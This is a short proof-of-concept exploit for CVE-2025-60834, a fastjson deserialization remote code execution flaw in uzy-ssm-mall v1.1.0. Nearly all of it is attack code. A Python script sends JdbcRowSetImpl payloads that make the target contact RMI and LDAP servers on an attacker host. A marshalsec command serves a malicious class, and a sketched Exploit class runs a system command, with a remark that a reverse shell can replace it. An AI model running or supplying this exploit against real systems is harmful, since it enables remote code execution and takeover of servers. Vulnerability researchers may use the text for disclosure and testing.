CVE-2025-60834：uzy-ssm-mall v1.1.0 fastjson反序列化远程代码执行漏洞

import requests import json # Target URL - adjust to the actual endpoint that accepts JSON input target_url = "http://target-host:8080/api/endpoint" # Malicious fastjson deserialization payload using JdbcRowSetImpl + JNDI # This payload triggers JNDI lookup to attacker's malicious server payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://attacker-server:1099/Exploit", "autoCommit": True } # Alternative payload using LDAP protocol ldap_payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-server:1389/Exploit", "autoCommit": True } # Send the malicious request headers = {"Content-Type": "application/json"} response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # To complete the attack, the attacker needs to set up a malicious JNDI server # using tools like marshalsec or ysoserial to serve the exploit class: # # java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ # "http://attacker-server:8080/#Exploit" 1099 # # The Exploit class should contain the malicious code to execute on the target: # public class Exploit { # static { # try { # Runtime.getRuntime().exec("calc.exe"); // or reverse shell command # } catch (Exception e) { # e.printStackTrace(); # } # } # }